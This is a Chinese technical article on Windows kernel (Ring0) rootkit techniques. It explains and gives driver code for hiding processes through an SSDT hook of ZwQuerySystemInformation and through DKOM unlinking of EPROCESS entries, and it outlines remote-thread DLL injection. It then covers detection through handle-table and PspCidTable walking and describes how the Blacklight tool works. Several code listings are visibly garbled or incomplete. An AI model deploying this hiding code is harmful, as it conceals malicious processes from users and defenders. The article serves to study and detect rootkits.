2023年12月16日发(作者:)

Ring0级Rootkit之进程隐藏与检测技术

近来自己主机上老是莫名其妙地感染病毒(即在文件夹后默然追加了一个后缀.exe),以前也碰到过这种情形,即只要你点击受感染的office文件,则分区下所有的office文件将全部感染,后来也好好分析过此病毒即“sola病毒”。起初没有去管这事,后来实在受不了就打算手工清除此病毒。打开任务管理器,尽然发现了一些诡异进程即由数字和字母构成。显然其不是正常进程,就运行搜索注册表,尝试搜索此进程,并手工删除了其对应的所有键值。然后重新查看受感染的分区,发现尽然清除成功。这才顿悟,这不是sola病毒,只是某些人写的一个再简单不过的病毒。

引用上面的话,只是想说尽管我们已经谈论并以各种方式实现了不同级别的进程隐藏技术,但很多人却并不知晓编写简单代码,既可躲过任务管理器的进程显示列表。Jimhotkin在《Detection of hidden Process》一文中曾指出--估计1000个木马中仅有1个是进程隐藏的。可见,市面见到的那些简单木马绝大部分出自菜鸟级黑客。黑客从事的攻击活动需要尽可能部署的尽善尽美,任何一个环节出现弱点,都将是致命的。这其实等同于网络安全技术,尽管你在多个环节上部署了多层级安全防御措施,但任一环节出现漏洞,则全盘皆输。

言归正传,下面开始谈论进程隐藏与检测技术,尽管进程隐藏技术已经被众多人士讨论过,笔者的目的是想通过此文,尽可能综合当前出现的各种进程隐藏与检测技术。谈论每种技术实现的特点,及其如何实现,通过代码分析,尽可能全面的讲解ring0下出现的各种进程隐藏与检测技术。

1.进程隐藏技术

最早出现的进程隐藏技术,其实可追溯到ring3下的线程注入,即在目标进程上下文中创建一个远程线程,通过此线程注入恶意DLL文件到目标进程中,借助目标进程的运行而被加载。基本步骤为:(1)用OpenProcess打开目标进程,访问权限Process_VM_Operation

or Process_VM_Write;(2)获取下LoadLibrary地址(3)在指定的目标进程中,调用VirtualAllocEx函数,在目标进程地址空间中开辟一块内存;(4)创建一个远程线程,将恶意DLL文件加载到已分配的内存空间中。流程如图1所示。

图1. Ring3下远程线程注入攻击流程

随着SSDT Hook技术的提出,涌现出大量针对SSDT的Hook攻击代码。SSDT表中存放了系统调用函数内存地址。即任意给定的类似Nt*()函数,在SSDT表中都可以找到其内存地址,通过简单的索引即可获取指定函数的内存地址。对应的索引值即:

IndexValue = *((PULONG*)((PCHAR*)address + 1));

读者不妨可以借助Windbg工具,查看ZwOpenProcess进程的函数实现,如图2。

图 2. Windbg下ZwOpenProcess函数实现的部分代码

SSDT结构体这里就不给出,不知道的读者可google上搜索查阅。通过定义此结构体,其内部存在ServiceTableBase参数,通过ServiceTableBase[IndexValue]即可获取到任意系统函数的内存地址。OK,此时则可大刀阔斧的HOOK这些内存地址了。下面阐述如何借助SSDT表实现进程隐藏。

1.1 基于SSDT的进程隐藏技术

Windows系统下存在大量的ZwQuery*函数,如需要隐藏目录文件则可Hook

ZwQueryDirectoryFile()函数。此处,我们需要实现进程隐藏,而进程是系统资源,故我们不妨查看下ZwQuerySystemInformation()函数,看是否有眉目。在NativeAPI文档中可以查看到其定义:

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(

IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

IN OUT PVOID SystemInformation, //不同SystemInformationClass返回不同的内容

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength OPTIONAL

); SystemInformation指针返回的内容由SystemInformationClass确定,SystemInformationClass及更多与此函数相关的定义可/en-us/library/ms724509(VS.85).aspx上查看。SYSTEM_INFORMATION_CLASS结构体中包含了大量与系统相关的信息,这里我们只关心SystemProcessInformation。在调用ZwQuerySystemInformation函数时,若系统信息级等于系统进程信息,则SystemInformation指针将指向当前正在运行进程中包含的大量结构体数组即SYSTEM_PROCESS_INFORMATION。详细定义如下:

typedef struct _SYSTEM_PROCESS_INFORMATION {

ULONG NextEntryOffset;

BYTE Reserved1[52]; //其实这些保留字段并不是没有用到,只是微软隐藏了而已。

PVOID Reserved2[3]; //分别代表指定进程名、线程数及其进程创建时间等。

HANDLE UniqueProcessId; //进程ID

PVOID Reserved3;

ULONG HandleCount;

BYTE Reserved4[4];

PVOID Reserved5[11];

SIZE_T PeakPagefileUsage;

SIZE_T PrivatePageCount;

LARGE_INTEGER Reserved6[6];

} SYSTEM_PROCESS_INFORMATION;

成员说明:NextEntryOffset参数表示每个结构体之间的偏移,即紧邻的下一个结构体地址为上一个结构体地址加NextEntryOffset值,并不代表指针。故我们在隐藏进程时,跳过某个进程的SYSTEM_PROCESS_INFORMATION结构体时,并不是执行以下语句:

pSpi_ptr->NextEntryOffset = cSpi_ptr->NextEntryOffset; 其中cSpi_ptr,pSpi_ptr分别代表当前结构体和前一结构体指针。而是执行语句:pSpi_ptr->NextEntryOffset =

cSpi_ptr->NextEntryOffset + pSpi_ptr->NextEntryOffset; 结构体之间的连接关系如图3。

图 3. SYSTEM_PROCESS_INFORMATION结构体链表结构

显然,此刻若要实现进程隐藏,只需要Hook函数ZwQuerySystemInformation,然后在新的Hook函数中,调用此函数判断获取到SystemInformationClass是否为进程信息级,若是,则获取SYSTEM_PROCESS_INFORMATION结构体内容,循环遍历上面的链表结构,判断每个结构中的UniqueProcessId是否为指定的进程ID,但若是需要隐藏指定进程,则需要判断进程名是否一致,故此时需要将BYTE Reserved1[52]; PVOID Reserved2[3]; 解析出其真实含义。对应的内容为:

ULONG Reserved[6]; KPRIORITY BasePriority;

LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime;

LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; //进程名

因为在任务管理器下可能会显示多个不同ID的同一进程。故此处实现进程名过滤最为可靠。

代码分析:

NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass,

IN PVOID SystemInformation, IN ULONG SystemInformationLength,

OUT PULONG ReturnLength)

{

NTSTATUS ntStatus;

PSYSTEM_PROCESS_INFO cSpi_ptr; //当前系统进程信息指针

PSYSTEM_PROCESS_INFO pSpi_ptr; //前一结构体的指针

//调用ZwQuerySystemInformation获取SystemInformation指针内容,实现进程过滤

ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(

SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength

);

if(!NT_SUCCESS(ntStatus)) return ntStatus;

//判断是否为系统进程信息,若非直接返回。

if (SystemInformationClass != SystemProcessInformation) return ntStatus;

cSpi_ptr = (PSYSTEM_PROCESS_INFO)SystemInformation;

pSpi_ptr = NULL;

while(cSpi_ptr != NULL){

if(0 == memcmp(cSpi_ptr->, L"", 12)){

if(pSpi_ptr != NULL){

//即当前结点不是链表头结点

if(cSpi_ptr->NextEntryOffset == 0){ //当前结点为尾结点

pSpi_ptr->NextEntryOffset = 0;

}

else{

//通过偏移,跳过此节点结构

pSpi_ptr->NextEntryOffset += cSpi_ptr->NextEntryOffset;

}

}

else{

if(cSpi_ptr->NextEntryOffset == 0){

//表示当前链表中只存在当前待隐藏进程

SystemInformation = NULL;

}

else{ //头结点为待隐藏进程结点

(BYTE*)SystemInformation = (BYTE*)SystemInformation +

cSpi_ptr->NextEntryOffset;

}

}

}

pSpi_ptr = cSpi_ptr;

if(cSpi_ptr->NextEntryOffset != 0) //指针前移

(BYTE*)cSpi_ptr=(BYTE*)cSpi_ptr+ cSpi_ptr->NextEntryOffset;

else cSpi_ptr = NULL;

}

return ntStatus;

}

驱动的加载与卸载代码:

VOID OnUnload( IN PDRIVER_OBJECT DriverObject ){

DbgPrint("Device has been unloadedn");

(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation))

= OldZwQuerySystemInformation;

DbgPrint("Driver has been unloadedn"); return;

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING

theRegistyPath){

DbgPrint("Driver is beginning to load!n");

DriverObject->DriverUnload = OnUnload;

OldZwQuerySystemInformation = //保存原函数ZwQuerySystemInformation

(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation))=

NewZwQuerySystemInformation; //Hook函数替换ZwQuerySystemInformation

return STATUS_SUCCESS;

}

SSDT的结构体定义这里就不再给出了。通过上面的代码可简单实现Ring0级指定进程的隐藏。但是为了CPU的使用率可能会发生变化,因为指定进程被过滤了,但实际上它还在系统中运行,细心的读者可以测试,若隐藏占据一定的CPU时间的进程,则成功隐藏后,打开任务管理器,所有进程CPU占有率相加并不会等于100%.故为了隐藏做得更加仔细,我们最好将带隐藏进程所占用的CPU时间,全部累加到System Idle Process上。

1.2 DKOM技术实现进程隐藏

直接操作内核对象,通过分析内核对象成员,过滤特定进程的内核对象结构实现进程隐藏。DKOM技术最早由Jamie Butler提出,感兴趣的读者可参考文献“Hidden Processes : The

Implication for Intrusion Detection”,著名的FU rootkit也出自Jamie.

通过调用PsGetCurrentProcess()内核函数可获取当前执行线程对应进程对象EPROCESS结构。利用Windbg工具查看其实现如下:

kd> uf nt!PsGetCurrentProcess

nt!IoGetCurrentProcess:

804ef608 64a124010000 mov eax,fs:[00000124]

804ef60e 8b4044 mov eax,[eax+0x44]

804ef611 c3 ret

其中偏移fs:[00000124]中存放了当前线程ETHREAD结构体地址。此地址由KiInitialThread函数导出。其中ETHREAD结构体中存在一个ApcState域,该值存放了对应进程的进程对象体EPROCESS。这里就不再给出调式结果,读者可通过Windbg工具自行查看。

OK,知道了如何获取进程的对象体EPROCESS,现在需要获知EPROCESS的具体成员变量内容,比如是否存在一个进程链表结构LIST_ENTRY,以及进程ID和进程名等成员。在Windbg下键入“dt –b –v _EPROCESS”命令可获取EPROCESS的详细内容。获取到的结果如下:kd> dt nt!_EPROCESS

+0x000 Pcb : _KPROCESS

......

+0x080 RundownProtect : _EX_RUNDOWN_REF

+0x084 UniqueProcessId : Ptr32 Void

......

+0x174 ImageFileName : [16] UChar

+0x088 ActiveProcessLinks : _LIST_ENTRY

其中下划线的成员变量是我们感兴趣的,包括进程ID、进程名和进程链表。通过进程链表我们可以遍历所有的进程EPROCESS结构体,进而可过滤到待隐藏进程。可能有读者会问结构体中怎么会同时出现进程ID和进程名,既然存在了进程名,必然对应一个进程ID。这是错误的,实际上进程名是唯一的,进程ID可不同,即多个进程ID可映射到同一个进程名上。故具体流程如下所示:

 定位处理器控制块(KPRCB)地址,此结构基地址在系统内核空间中锁定为0xffdff120;

 定位当前线程块(ETHREAD)地址,KPRCB中有一表项指向当前线程块(ETHREAD),

直接定位基地址于fs:[124]或者0xffdff124;ETHREAD中包含结构内核线程块(KTHREAD)。

 定位当前进程块(EPROCESS)地址,在内核线程块中包含指向当前进程块(EPROCESS)的指针,利用该指针分析EPROCESS结构即找到对应链表。

 根据PID或者进程名获得链表,确定隐藏进程的EPROCESS位置,调整其前后进程对应EPROCESS中链表结点,将隐藏进程的EPROCESS从链表中摘除。

操作结构图如图4所示:

图 4. 进程对象EPROCESS链表结构

具体操作时,我们可以不必要定位到KPRCB地址,然后再逐步定位,实际上通过PsGetCurrentProcess函数即可获取到EPROCESS地址,然后定位到List_ENTRY即可获取进程对象链表。

代码分析:

void SearchProcessNode(DWORD pid)

{

UCHAR* currentPEP , * nextPEP;

int currentPID = 0, flag = 0, startPID = 0, count = 0;

UCHAR proc_name[16];

const int HiLimit = 1048576; //设置上限,避免死循环

currentPEP = (UCHAR*)PsGetCurrentProcess();

currentPID = currentPID = *((unsigned long*)(currentPEP + EPROCESS_PID_OFFSET));

//获取进程名,占16字节大小

getProcessName(proc_name, (currentPEP+EPROCESS_OFFSET_NAME));

startPID = currentPID; flag = 0;

if(currentPID==pid){

modifyTaskListEntry(currentPEP); //修改ListEntry列表,跳过此结点

DbgPrint ("Process name is %s, PID=%d is Hidden n" proc_name , pid) ; return;

}

while(startPID != currentPID || flag == 0){

nextPEP = getNextProcessList (currentPEP);

current PEP = nextPEP;

//获取当前EPROCESS对象体中的进程ID

currentPID = *((unsigned long*)(currentPEP + EPROCESS_PID_OFFSET));

getProcessName(proc_name, (currentPEP+EPROCESS_OFFSET_NAME));

if(currentPID==pid){

modifyTaskListEntry(currentPEP);

DbgPrint ("Process name is %s, PID=%d is Hidden n" proc_name , pid) ; return;

}

count++; flag++;

if(count >= HiLimit) return;

}return;

}

// 获取当前List_ENTRY结构体中的下一个进程对象

UCHAR * getNextProcessList (UCHAR *current){

UCHAR *next , *fLink;

LIST_ENTRY listEntry;

listEntry = *((LIST_ENTRY*)(current + PROCESS_LIST_OFFSET));

fLink = (ULONG*)();

next = fLink - offset;

return next;

}

//// 获取当前List_ENTRY结构体中的前一个进程对象

UCHAR *getPreProcessList(UCHAR *current){

UCHAR * preHandleTable = NULL;

UCHAR *blink = NULL; LIST_ENTRY listEntry;

listEntry = *((LIST_ENTRY*)( current + PROCESS_LIST_OFFSET));

blink = (UCHAR*);

preHandleTable = (blink - PROCESS_LIST_OFFSET);

return (preHandleTable);

}

//删除带隐藏进程对象结点

void hideProcess(UCHAR * h_tableaddr_cur){

UCHAR *h_process _pre, *h_ process _next

LIST_ENTRY *ListEntry_cur, *ListEntry_pre, *ListEntry_next;

h_ process _pre = getPreProcessList (h_process_cur);

h_ process _next = getNextProcessList (h_process_cur);

//获取当前EPROCESS结构体中List_Entry的指针地址

ListEntry_cur = ((LIST_ENTRY*)(h_process_cur + PROCESS_LIST_OFFSET));

ListEntry_pre = ((LIST_ENTRY*)(h_process_pre + PROCESS_LIST_OFFSET));

ListEntry_next = ((LIST_ENTRY*)(h_process_next + PROCESS_LIST_OFFSET));

//删除当前结点ListEntry_cur,LIST_ENTRY为双向链表结构

ListEntry_pre->Flink = ListEntry_next;

ListEntry_next->Blink = ListEntry_pre;

//使当前结点的前后指针指向自身

ListEntry_cur->Flink = ListEntry_cur;

ListEntry_cur->Blink = ListEntry_cur;

}

注:PROCESS_LIST_OFFSET, EPROCESS_PID_OFFSET, EPROCESS_OFFSET_NAME三个偏移值,读者可以通过Windbg调式工具,通过键入“dt nt!_EPROCESS”命令查看到对饮三个变量的偏移值。DriverEntry入口函数和DriveUnload函数可参考前面给出的代码修改。

通过上面几行代码即可实现DKOM方式下的进程隐藏技术。当然,有人提出通过HANDLE_TABLE地址来遍历进程,然后过滤指定的进程,这种方式同样可行。因为每个进程必然对应打开一个进程句柄。不妨通过windbg查看它们的内部结构,如图5所示。

图 5. EPROCESS和HANDLE_TABLE的结构

由图5,可知通过HANDLE_TABLE确实可以获取到进程的ID号,且其中包含有LIST_ENTRY结构,满足隐藏条件,感兴趣的读者可以自行编写代码实现隐藏。

2. 进程的检测技术

对于前面通过Hook ZwQuerySystemInformation实现的隐藏技术,则只需要我们采用DKOM技术即可对抗,成功检测出进程的隐藏。首先通过PsGetCurrentProcess函数获取当前进程的EPROCESS结构,然后定位到HANDLE_TABLE结构,根据HANDLE_TABLE来遍历整个句柄表,枚举出每个进程ID,包括进程的NAME,即可对抗Hook

ZwQuerySystemInformation技术,成功检测出隐藏进程。遍历HANDLE_TABLE代码如下:

void traverseHandles(){

unsigned char process_name[16];

PEPROCESS process_ptr;

unsigned char *h_tableaddr_start, *eprocess_addr,*handle_tableaddr;

unsigned long pid, nProc;

process_ptr = PsGetCurrentProcess();

eprocess_addr = (unsigned char*)process_ptr;

handle_tableaddr = eprocess_addr + OFFSET_EPROCESS_HANDLETABLE;

h_tableaddr_start = (unsigned char*)(*((unsigned long*)handle_tableaddr));

pid = getPid(h_tableaddr_start); nProc = 1;

getProcessName(process_name, eprocess_addr + OFFSET_PROCESS_NAME);

DbgPrint("Process id : %04d , Process name: %sn", pid, process_name);

//通过遍历HANDLE_TABLE,以获取此结构体中的进程ID

handle_tableaddr = getNextEntry(h_tableaddr_start, OFFSET_HANDLE_LISTENTRY);

eprocess_addr = getNextEntry(eprocess_addr, EPROCESS_ENTRY);

while(handle_tableaddr != h_tableaddr_start){

pid = getPid(handle_tableaddr);

memset(process_name, 0, sizeof(process_name));

getProcessName(process_name, eprocess_addr + OFFSET_PROCESS_NAME);

DbgPrint("Process id : %04d , Process name: %sn", pid, process_name); nProc++;

handle_tableaddr = getNextEntry(handle_tableaddr, OFFSET_HANDLE_LISTENTRY);

eprocess_addr = getNextEntry(eprocess_addr, EPROCESS_ENTRY);

}

DbgPrint("traverseHandles(): Number of Processes=%d" , nProc);

}实现结果对比图如图6所示:

图 6. 关键进程的隐藏与检测对比图

由图6可知,进程确实在躲避了任务管理器,但在DKOM技术面前,却暴露无遗。现在我们讨论如何检测DKOM技术下的进程隐藏。若只是过滤了EPROCESS结构,则完全可以借助HANDLE_TABLE的遍历检测出此进程。但此时HANDLE_TABLE的地址则不可能从EPROCESS结构中获取了,因为其本身都已经被隐藏了。

回顾图5中HANDLE_TABLE结构体中第一个参数为TableCode,实际上HANLE_TABLE并不是真正的句柄表结构,真实的句柄表需要依据TableCode来定位。WinXP下句柄表是三层表结构,每个句柄表大小为4K,每个表项为一个HANDLE_TABLE_ENTRY结构,占8字节,故每个表只能存放512个表项。TableCode的后两位若为00则为 1级表,01为2级表,02为3级表。类似于内存的分页机制,将固定的内存大小按每页4K大小分页,映射到多级页表中。IceSword软件就运行了TableCode来定位HANDLE_TABLE_ENTRY结构,遍历此结构检测出隐藏进程。TableCode值实际上等同于PspCidTable变量。PspCidTable中存放的对象是系统中所有的进线程对象,其索引就是PID和TID。其中存放对象体EPROCESS和ETHREAD,而每个进程私有的句柄表则存放的是进程对象头OBJECT_HEADER。

实际上,进程或线程创建时,PspCreateProcess()函数会在PspCidTable中以进程对象的

方式创建句柄。即:Process->UniqueProcessId = ExCreateHandle (PspCidTable, &CidEntry);也就是说PID和TID分别是EPROCESS和ETHREAD对象在PspCidTable这个句柄表中的索引。用Windbg查看PsLookupProcessByProcessId()函数的部分实现,如图7所示:

图 7. PsLookupProcessByProcessId函数的部分实现

由图可知,函数首先push参数PspCidTable地址和进程ID,然后调用ExMapHandleToPointer函数实现进程对象的获取,当然ExMapHandleToPointer内部仍然是调用ExpLookupHandleTableEntry()根据指定的句柄查找相应的HANDLE_TABEL,函数体内部的实现依旧是通过:HandleTable->TableCode成员来判断是第几级表,故我们可以从PspCidTable入手,获取到此地址,然后赋值给TableCode,根据TableCode来判断是哪级表,然后映射到指定的HANDLE_TABLE_ENTRY结构中,去遍历每个对象。PspCidTable地址的获取可以借助PsLookupProcessByProcessId来定位,在此函数中搜索关键字0x35ff和0xe8即可。由图7可知,0x35ff和0xe8中间的4字节内容即为PspCidTable地址。搜索代码如下:

ULONG GetPspCidTableAddr(){

UNIOCDE_STRING pslookupPbP;

PUCHAR addr, p;

ULONG tmpAddr;

RtlInitUnicodeString(&pslookupPbP, L”PsLookupProcessByProcessId”);

addr=(PUCHAR)MmGetSystemRoutineAddress(&pslookupPbP);

for(p = addr; p < addr+PAGE_SIZE; p++){

if((*(PUSHORT)p==0x35ff)&&(*(p+6)==0xe8)){

tmpAddr = *(PULONG)(p+2);

return tmpAddr;

}

}

return 0;

}

针对TableCode的判断,如何进行多表级映射,感兴趣的读者可参考/?tid=830&page=1&toread=1文献。当然FUTo作者则指出通过这种方式寻找PspCidTable并不稳定,因为即使是编写内核时作了一点点编译器优化,上面的方法就会失败易导致BSoD,并给出了解决方案,建议采用KDDEBUGGER_DATA32结构,此结构中存储了大量未导出变量,其中就包括PspCidTable地址。

除了利用PspCidTable来检测进程之外,芬兰安全公司F-Secure研发出的Blacklight工具,主要功能即检测隐藏进程。令人惊奇的是,其不再尝试检测各种钩子,而是在Ring3

级实现进程检测。Blacklight启动时循环检测从0x0到0x41DC之间的所有有效的PID并对每一个可能的PID调用OpenProcess,来检测进程是否存在,如果OpenProcess成功返回,Blacklight就储存其进程信息,然后继续循环,一旦所有可能的PID都被循环检测,Blacklight则对PIDB列表和CreateToolhelp32Snapshot返回的列表进行比对。两张列表之间的差异就表示存在隐藏进程。

3. 小 结

一直以来,Rootkit都试图抹掉进程在系统中留下的痕迹,同时干扰进程检测函数的正常工作,以达到隐匿运行中代码。但是运行于系统中的进程总是和系统有着各种联系,如打开的句柄等,进程检测技术希望不断发掘出这些关联,以此获得真实的进程列表;同时进程检测技术也在向不依赖操作系统这一目标努力。总之,进程的隐藏和检测是攻与防的对抗中不断向前发展。伴随着DKOM技术的提出已经演变出了针对进程隐藏与检测的各种Rootkit。比较著名的检测工具如Blacklight,IceSword和Rootkit Revealer。当然,DKOM技术的提出,并不只是推进了进程的隐藏与检测,包括文件及目录的隐藏、驱动的隐藏与检测、进程访问令牌的Hook技术等等。随着更多高新技术的提出,进程的隐藏与检测一定会向前继续发展。